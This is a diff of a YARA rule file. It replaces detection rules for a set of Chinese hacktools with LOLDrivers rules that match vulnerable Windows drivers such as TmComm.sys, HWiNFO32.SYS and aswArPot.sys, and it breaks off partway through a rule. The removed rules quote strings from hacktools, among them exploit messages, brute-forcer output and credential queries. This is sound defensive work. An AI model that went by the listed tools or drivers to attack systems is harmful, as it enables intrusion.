+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and 4 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Dtools2_02_Dtools : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_ECD0 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file DTools.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fc812797-12d8-596a-8ebe-dd8b0d7a4b7e"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L161-L179"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9f99771427120d09ec7afa3b21a1cb9ed720af12"
-		logic_hash = "51e30d39f388546ac233b4b97a38f225c90d2f006bc509dd7eecfb408aef9be5"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "f683f7c5-15cb-5e1b-9d6e-4261c85a581a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8892-L8911"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ecd07df7ad6fee9269a9e9429eb199bf3e24cf672aa1d013b7e8d90d75324566"
+		logic_hash = "48342828a25e7fdd6dad197bb079d58fc1937b9630f021067a7f197e53c912d9"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "kernel32.dll" ascii
-		$s1 = "TSETPASSWORDFORM" fullword wide
-		$s2 = "TGETNTUSERNAMEFORM" fullword wide
-		$s3 = "TPORTFORM" fullword wide
-		$s4 = "ShellFold" fullword ascii
-		$s5 = "DefaultPHotLigh" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100370036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Dll_Packetx : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_6701 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file PacketX.dll - ActiveX wrapper for WinPcap packet capture library"
-		author = "Florian Roth (Nextron Systems)"
-		id = "19ab5977-934d-5e3f-8bba-925bb57bf486"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L181-L196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3f0908e0a38512d2a4fb05a824aa0f6cf3ba3b71"
-		logic_hash = "161d174376c599b1b794fa1174349ae12b198842d89769baec4b9664729a3983"
-		score = 50
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "89f292a0-04cd-5c07-9c43-9fef78748ef4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8914-L8933"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6701433861742c08eb50f1e785962378143ad5b6c374ac29118168599f8a0f1c"
+		logic_hash = "c6d8f88f83fffed54cd4adf0542a40531765b0cea0e963ed7ad5d646a7901f19"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "[Failed to load winpcap packet.dll." wide
-		$s10 = "PacketX Version" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e003300300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100310020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1920KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Sqldbx_Zhs : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Radiantsystemsinc_Radhwmgrsys_Radiantsystemsinchardwaremanagerdriver_00C3 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file SqlDbx_zhs.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "31c49755-f1bd-5ecb-91ff-1040e40983ab"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L198-L217"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e34228345498a48d7f529dbdffcd919da2dea414"
-		logic_hash = "b0215d29c58c252c1717f08135eab65794a99ed669c2225bcba690ae7d7a034c"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RadHwMgr.sys"
+		author = "Florian Roth"
+		id = "1903bced-7391-5d95-a71b-a2657286b5cd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8936-L8955"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "00c3e86952eebb113d91d118629077b3370ebc41eeacb419762d2de30a43c09c"
+		logic_hash = "d5975b9f192b982cb0febc0314e9597f387830e6c1cc4bf0202918ce75c8ca33"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "S.failed_logins \"Failed Login Attempts\", " fullword ascii
-		$s7 = "SELECT ROLE, PASSWORD_REQUIRED FROM SYS.DBA_ROLES ORDER BY ROLE" fullword ascii
-		$s8 = "SELECT spid 'SPID', status 'Status', db_name (dbid) 'Database', loginame 'Login'" ascii
-		$s9 = "bcp.exe <:schema:>.<:table:> out \"<:file:>\" -n -S <:server:> -U <:user:> -P <:" ascii
-		$s11 = "L.login_policy_name AS \"Login Policy\", " fullword ascii
-		$s12 = "mailto:support@sqldbx.com" fullword ascii
-		$s15 = "S.last_login_time \"Last Login\", " fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061006400690061006e00740020004800610072006400770061007200650020004d0061006e006100670065007200200066006f007200200050003100350078007800200050006c006100740066006f0072006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0030002e003200320020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0030002e00320032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e00200020004800610072006400770061007200650020004d0061006e00610067006500720020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d0032003000300034002000520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e0020 }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ms10048_X86 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_DEE3 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ms10048-x86.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "373f0419-5a7d-5f01-968c-5d3e7b1c0670"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L219-L237"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
-		logic_hash = "50e45cae87f5d1cc4903a16f9283dd751d90cde0c71f3124467b4ff15bd34f1b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "189bf93d-db65-50d7-8637-62877742ccae"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8958-L8978"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "dee384604d2d0018473941acbefe553711ded7344a4932daeffb876fe2fa0233"
+		hash = "26ecd3cea139218120a9f168c8c0c3b856e0dd8fb2205c2a4bcb398f5f35d8dd"
+		logic_hash = "106ecc5e36dbf66a7660d00bfcce40934528899d60bd2bb7711c56f515119fcc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[ ] Resolving PsLookupProcessByProcessId" fullword ascii
-		$s2 = "The target is most likely patched." fullword ascii
-		$s3 = "Dojibiron by Ronald Huizer, (c) master@h4cker.us ." fullword ascii
-		$s4 = "[ ] Creating evil window" fullword ascii
-		$s5 = "%sHANDLEF_INDESTROY" fullword ascii
-		$s6 = "[+] Set to %d exploit half succeeded" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310032002e003300300032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310032002e003300300032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]003300360030786c4ef659275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100320020003300360030002e0063006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Ch : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_36E3 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ch.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2e8319de-fe54-5083-968c-4707d127f072"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L239-L257"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "60bbb87b08af840f21536b313a76646e7c1f0ea7"
-		logic_hash = "49ab2c75267c2ed5c15c8fbdc6fa0f8826f6e7a45a2861d6ba4b293ffca6bcd6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "6ea52f09-df49-5bc4-a3bc-34a80e78b739"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8981-L9000"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "36e3127f045ef1fa7426a3ff8c441092d3b66923d2b69826034e48306609e289"
+		logic_hash = "c8c776a3ef3f452b261c7348f0634f9bac7e00f5028eeb56af41461d240a5216"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "/Churraskito/-->Usage: Churraskito.exe \"command\" " fullword ascii
-		$s4 = "fuck,can't find WMI process PID." fullword ascii
-		$s5 = "/Churraskito/-->Found token %s " fullword ascii
-		$s8 = "wmiprvse.exe" fullword ascii
-		$s10 = "SELECT * FROM IIsWebInfo" fullword ascii
-		$s17 = "WinSta0\\Default" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <260KB and 3 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Dubrute_Dubrute : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_FDA9 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file DUBrute.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "10aa2017-d563-5953-8672-dbc13ff6b3cf"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L259-L275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8aaae91791bf782c92b97c6e1b0f78fb2a9f3e65"
-		logic_hash = "1e6d8bd24a37e3f4b7de88989251ae904128ff1bf766d4a4408ff8990c6dfd2f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "d405ca94-8b2c-57cd-b6da-8dbfd5f8d858"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9003-L9022"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "fda93c6e41212e86af07f57ca95db841161f00b08dae6304a51b467056e56280"
+		logic_hash = "2548a054742e55e13e146fa3389c4fb17bdf4e7785bc824e5dd8be7d0cddd75a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
-		$s2 = "IP - 0; Login - 0; Password - 0; Combination - 0" fullword ascii
-		$s3 = "Create %d IP@Loginl;Password" fullword ascii
-		$s4 = "UBrute.com" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100310037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1020KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Cookietools : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_6E9E : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file CookieTools.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "893884e5-6f4c-5f67-9382-8bf1ee45a257"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L277-L294"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b6a3727fe3d214f4fb03aa43fb2bc6fadc42c8be"
-		logic_hash = "7f8c59ef58a92db15d8965e54ed6e26834e268581581af2a0ff98a6f46564e7e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "8ec4875c-4f84-5706-81c8-9dd94dccb962"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9025-L9044"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6e9e9e0b9a23deec5f28dc45f0bbe7423565f037f74be2957e82e5f72c886094"
+		logic_hash = "1a5841556e8589b9fda2167a5ad9c6ac0ec7bb9e9358220ebc18e9675fe6254b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "http://210.73.64.88/doorway/cgi-bin/getclientip.asp?IP=" fullword ascii
-		$s2 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
-		$s3 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
-		$s8 = "OnGetPasswordP" fullword ascii
-		$s12 = "http://www.chinesehack.org/" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e003800300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00380030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100300020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Update_Pcinit : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_1228 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file PcInit.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "71c34049-97a2-5611-a081-21a85f8631d9"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L296-L314"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a6facc4453f8cd81b8c18b3b3004fa4d8e2f5344"
-		logic_hash = "ee4b17dfb0d70464669edab1b7610efa607adb2918306ae6c50130024008a169"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "a46d53f7-ddac-5597-be0d-0e05232bbaec"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9047-L9066"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1228d0b6b4f907384346f64e918cc28021fe1cd7d4e39687bca34a708998261a"
+		logic_hash = "6d10896a203562741de37cb97e858a1d70451ad5fc1341ad80d6aa4765b8de9a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\svchost.exe" ascii
-		$s2 = "%s%08x.001" fullword ascii
-		$s3 = "Global\\ps%08x" fullword ascii
-		$s4 = "drivers\\" ascii
-		$s5 = "StrStrA" fullword ascii
-		$s6 = "StrToIntA" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200033002c00200031002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200033002c00200031002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003400200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dat_Nasllib : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_D205 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file NaslLib.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d5ce72a4-c2b0-50b2-85bb-acf0bfd354e0"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L316-L331"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fb0d4263118faaeed2d68e12fab24c59953e862d"
-		logic_hash = "7d2f3c67fe78028a51ba01c88d7eb62c38fe3c918bb03eee41b6583bc464ad78"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_RCIO64.sys"
+		author = "Florian Roth"
+		id = "ea90277d-696d-5674-b679-9a340359e853"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9069-L9088"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
+		logic_hash = "8c88f91ab8ff231e4ab6e532b8d71ba810fa62e684dec7fff6b74c4f85a96f65"
+		score = 40
+		quality = 80
